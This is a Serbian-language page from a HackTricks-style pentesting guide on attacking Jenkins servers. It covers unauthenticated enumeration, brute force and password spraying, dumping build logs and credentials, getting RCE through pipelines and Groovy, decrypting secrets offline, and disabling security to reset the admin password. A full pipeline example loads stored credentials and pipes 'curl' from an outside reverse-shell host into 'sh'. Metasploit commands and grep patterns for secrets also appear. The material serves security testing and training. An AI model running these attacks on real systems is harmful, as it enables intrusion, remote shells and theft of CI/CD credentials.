# Jenkins Security

{{#include ../../banners/hacktricks-training.md}}

## Osnovne informacije

Jenkins je alat koji nudi jednostavan način za uspostavljanje **kontinuirane integracije** ili **kontinuirane isporuke** (CI/CD) okruženja za gotovo **bilo koju** kombinaciju **programskih jezika** i repozitorijuma izvornog koda koristeći pipeline-ove. Pored toga, automatizuje razne rutinske razvojne zadatke. Iako Jenkins ne eliminiše **potrebu za kreiranjem skripti za pojedinačne korake**, pruža brži i robusniji način za integraciju celokupnog niza alata za izgradnju, testiranje i implementaciju nego što se može lako konstruisati ručno.

{{#ref}}
basic-jenkins-information.md
{{#endref}}

## Neautentifikovana enumeracija

Da biste pretraživali zanimljive Jenkins stranice bez autentifikacije kao što su (_/people_ ili _/asynchPeople_, ovo prikazuje trenutne korisnike) možete koristiti:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Proverite da li možete izvršavati komande bez potrebe za autentifikacijom:
```
msf> use auxiliary/scanner/http/jenkins_command
```
Bez kredencijala možete pogledati unutar _**/asynchPeople/**_ putanje ili _**/securityRealm/user/admin/search/index?q=**_ za **korisnička imena**.

Možda ćete moći da dobijete verziju Jenkins-a iz putanje _**/oops**_ ili _**/error**_.

![](<../../images/image (146).png>)

### Poznate ranjivosti

{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}

## Prijava

U osnovnim informacijama možete proveriti **sve načine za prijavu unutar Jenkins-a**:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

### Registracija

Moći ćete da pronađete Jenkins instance koje **dozvoljavaju da kreirate nalog i prijavite se u njega. Tako jednostavno.**

### **SSO Prijava**

Takođe, ako su **SSO** **funkcionalnosti**/**pluginovi** prisutni, onda biste trebali pokušati da se **prijavite** u aplikaciju koristeći test nalog (npr., test **Github/Bitbucket nalog**). Trik iz [**ovde**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).

### Bruteforce

**Jenkins** nema **politiku lozinki** i **mitigaciju brute-force napada na korisnička imena**. Bitno je **brute-force** korisnike jer se mogu koristiti **slabe lozinke** ili **korisnička imena kao lozinke**, čak i **obrnuta korisnička imena kao lozinke**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying

Koristite [ovaj python skript](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) ili [ovaj powershell skript](https://github.com/chryzsh/JenkinsPasswordSpray).

### IP Whitelisting Bypass

Mnoge organizacije kombinuju **SaaS-based source control management (SCM) systems** kao što su GitHub ili GitLab sa **internim, samostalno hostovanim CI** rešenjem poput Jenkins-a ili TeamCity-a. Ova postavka omogućava CI sistemima da **prijemaju webhook događaje od SaaS provajdera za kontrolu izvora**, prvenstveno za pokretanje pipeline poslova.

Da bi to postigle, organizacije **stavljaju na belu listu** **IP opsege** **SCM platformi**, omogućavajući im pristup **internom CI sistemu** putem **webhook-a**. Međutim, važno je napomenuti da **bilo ko** može da kreira **nalog** na GitHub-u ili GitLab-u i konfiguriše ga da **pokrene webhook**, potencijalno šaljući zahteve **internom CI sistemu**.

Proverite: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)

## Internal Jenkins Abuses

U ovim scenarijima pretpostavljamo da imate važeći nalog za pristup Jenkins-u.

> [!WARNING]
> U zavisnosti od **Authorization** mehanizma konfiguranog u Jenkins-u i dozvole kompromitovanog korisnika, **možda ćete moći ili ne moći da izvršite sledeće napade.**

Za više informacija proverite osnovne informacije:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

### Listing users

Ako ste pristupili Jenkins-u, možete da navedete druge registrovane korisnike na [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)

### Dumping builds to find cleartext secrets

Koristite [ovaj skript](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) da izbacite izlaze konzole gradnje i promenljive okruženja gradnje kako biste se nadali da ćete pronaći tajne u čistom tekstu.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### **Krađa SSH kredencijala**

Ako kompromitovani korisnik ima **dovoljno privilegija da kreira/modifikuje novi Jenkins čvor** i SSH kredencijali su već sačuvani za pristup drugim čvorovima, mogao bi **ukrasti te kredencijale** kreiranjem/modifikovanjem čvora i **postavljanjem hosta koji će snimati kredencijale** bez verifikacije host ključa:

![](<../../images/image (218).png>)

Obično ćete pronaći Jenkins ssh kredencijale u **globalnom provajderu** (`/credentials/`), tako da ih možete i dumpovati kao što biste dumpovali bilo koju drugu tajnu. Više informacija u [**odeljku o dumpovanju tajni**](./#dumping-secrets).

### **RCE u Jenkins-u**

Dobijanje **shell-a na Jenkins serveru** daje napadaču priliku da otkrije sve **tajne** i **env varijable** i da **iskoristi druge mašine** locirane u istoj mreži ili čak **prikupi cloud kredencijale**.

Podrazumevano, Jenkins će **raditi kao SYSTEM**. Tako da, kompromitovanje će napadaču dati **SYSTEM privilegije**.

### **RCE Kreiranje/Modifikovanje projekta**

Kreiranje/Modifikovanje projekta je način da se dobije RCE nad Jenkins serverom:

{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}

### **RCE Izvršavanje Groovy skripte**

Takođe možete dobiti RCE izvršavanjem Groovy skripte, koja može biti manje uočljiva od kreiranja novog projekta:

{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}

### RCE Kreiranje/Modifikovanje Pipeline-a

Takođe možete dobiti **RCE kreiranjem/modifikovanjem pipeline-a**:

{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}

## Eksploatacija Pipeline-a

Da biste eksploatisali pipeline-ove, još uvek morate imati pristup Jenkins-u.

### Build Pipeline-i

**Pipeline-i** se takođe mogu koristiti kao **mehanizam za izgradnju u projektima**, u tom slučaju može se konfigurisati **fajl unutar repozitorijuma** koji će sadržati sintaksu pipeline-a. Podrazumevano se koristi `/Jenkinsfile`:

![](<../../images/image (127).png>)

Takođe je moguće **čuvati konfiguracione fajlove pipeline-a na drugim mestima** (na drugim repozitorijumima, na primer) sa ciljem **razdvajanja** pristupa repozitorijumu i pristupa pipeline-u.

Ako napadač ima **pravo pisanja nad tim fajlom**, moći će da **modifikuje** i **potencijalno pokrene** pipeline bez čak i pristupa Jenkins-u.\
Moguće je da će napadač morati da **obiđe neke zaštite grana** (u zavisnosti od platforme i privilegija korisnika, one se mogu obići ili ne).

Najčešći okidači za izvršavanje prilagođenog pipeline-a su:

- **Pull request** na glavnu granu (ili potencijalno na druge grane)
- **Push na glavnu granu** (ili potencijalno na druge grane)
- **Ažuriranje glavne grane** i čekanje da se na neki način izvrši

> [!NOTE]
> Ako ste **spoljašnji korisnik**, ne biste trebali očekivati da kreirate **PR na glavnu granu** repozitorijuma **drugog korisnika/organizacije** i **pokrenete pipeline**... ali ako je **loše konfigurisano**, mogli biste potpuno **kompromitovati kompanije samo iskorišćavajući ovo**.

### Pipeline RCE

U prethodnom RCE odeljku već je naznačena tehnika za [**dobijanje RCE modifikovanjem pipeline-a**](./#rce-creating-modifying-pipeline).

### Proveravanje Env varijabli

Moguće je deklarisati **env varijable u čistom tekstu** za ceo pipeline ili za specifične faze. Ove env varijable **ne bi trebale sadržati osetljive informacije**, ali napadač uvek može **proveriti sve konfiguracije pipeline-a/Jenkinsfile-ove:**
```bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### Dumping secrets

Za informacije o tome kako se tajne obično tretiraju u Jenkins-u, pogledajte osnovne informacije:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

Akreditivi mogu biti **ograničeni na globalne provajdere** (`/credentials/`) ili na **specifične projekte** (`/job/<project-name>/configure`). Stoga, da biste eksfiltrirali sve njih, morate **kompromitovati barem sve projekte** koji sadrže tajne i izvršiti prilagođene/otrovane pipeline-ove.

Postoji još jedan problem, da biste dobili **tajnu unutar env** pipeline-a, morate **znati ime i tip tajne**. Na primer, ako pokušate da **učitate** **`usernamePassword`** **tajnu** kao **`string`** **tajnu**, dobićete ovu **grešku**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
Evo kako da učitate neke uobičajene tipove tajni:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
```
Na kraju ove stranice možete **pronaći sve tipove kredencijala**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)

> [!WARNING]
> Najbolji način da **izvučete sve tajne odjednom** je da **kompromitujete** **Jenkins** mašinu (na primer, pokretanjem reverzne ljuske u **ugrađenom čvoru**) i zatim **procurite** **glavne ključeve** i **kriptovane tajne** i dekriptujete ih offline.\
> Više o tome kako to uraditi u [odeljku Čvorovi i Agenti](./#nodes-and-agents) i u [odeljku Post Eksploatacija](./#post-exploitation).

### Okidači

Iz [dokumentacije](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Direktiva `triggers` definiše **automatske načine na koje bi Pipeline trebao biti ponovo aktiviran**. Za Pipelines koji su integrisani sa izvorom kao što su GitHub ili BitBucket, `triggers` možda neće biti potrebni jer će integracija zasnovana na webhook-ovima verovatno već biti prisutna. Trenutno dostupni okidači su `cron`, `pollSCM` i `upstream`.

Primer cron:
```bash
triggers { cron('H */4 * * 1-5') }
```
Proverite **druge primere u dokumentaciji**.

### Čvorovi i Agenti

**Jenkins instanca** može imati **različite agente koji rade na različitim mašinama**. Sa perspektive napadača, pristup različitim mašinama znači **različite potencijalne cloud kredencijale** koje se mogu ukrasti ili **različit pristup mreži** koji se može zloupotrebiti za eksploataciju drugih mašina.

Za više informacija proverite osnovne informacije:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

Možete enumerisati **konfigurisane čvorove** u `/computer/`, obično ćete pronaći **`Built-In Node`** (koji je čvor koji pokreće Jenkins) i potencijalno više:

![](<../../images/image (249).png>)

**Posebno je zanimljivo kompromitovati Built-In čvor** jer sadrži osetljive Jenkins informacije.

Da biste naznačili da želite da **pokrenete** **pipeline** u **ugrađenom Jenkins čvoru**, možete uneti sledeću konfiguraciju unutar pipeline-a:
```bash
pipeline {
agent {label 'built-in'}
```
### Potpuni primer

Pipeline u specifičnom agentu, sa cron okidačem, sa pipeline i stage promenljivim okruženjima, učitavajući 2 promenljive u koraku i šaljući reverznu ljusku:
```bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}
```
## Pročitajte proizvoljnu datoteku do RCE

{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
{{#endref}}

## RCE

{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}

{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}

{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}

## Post Eksploatacija

### Metasploit
```
msf> post/multi/gather/jenkins_gather
```
### Jenkins Tajne

Možete nabrojati tajne pristupajući `/credentials/` ako imate dovoljno dozvola. Imajte na umu da će ovo samo nabrojati tajne unutar `credentials.xml` datoteke, ali **datoteke za konfiguraciju gradnje** takođe mogu imati **više kredencijala**.

Ako možete **videti konfiguraciju svakog projekta**, možete takođe videti **imena kredencijala (tajni)** koji se koriste za pristup repozitorijumu i **druge kredencijale projekta**.

![](<../../images/image (180).png>)

#### Iz Groovy

{{#ref}}
jenkins-dumping-secrets-from-groovy.md
{{#endref}}

#### Iz diska

Ove datoteke su potrebne za **dešifrovanje Jenkins tajni**:

- secrets/master.key
- secrets/hudson.util.Secret

Takve **tajne se obično mogu naći u**:

- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml

Evo regex-a da ih pronađete:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Decrypt Jenkins secrets offline

Ako ste izvezli **potrebne lozinke za dešifrovanje tajni**, koristite [**ovaj skript**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **da dešifrujete te tajne**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Dešifrovanje Jenkins tajni iz Groovy-a
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Kreirajte novog admin korisnika

1. Pristupite Jenkins config.xml datoteci u `/var/lib/jenkins/config.xml` ili `C:\Program Files (x86)\Jenkis\`
2. Potražite reč `<useSecurity>true</useSecurity>` i promenite reč **`true`** u **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Restartujte** **Jenkins** server: `service jenkins restart`
4. Sada ponovo idite na Jenkins portal i **Jenkins neće tražiti nikakve kredencijale** ovaj put. Navigirajte do "**Manage Jenkins**" da ponovo postavite **administratorsku lozinku**.
5. **Ponovo omogućite** **bezbednost** promenom postavki na `<useSecurity>true</useSecurity>` i **ponovo restartujte Jenkins**.

## Reference

- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
- [https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password](https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password)
- [https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html](https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html)
- [https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072](https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072)
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)

{{#include ../../banners/hacktricks-training.md}}
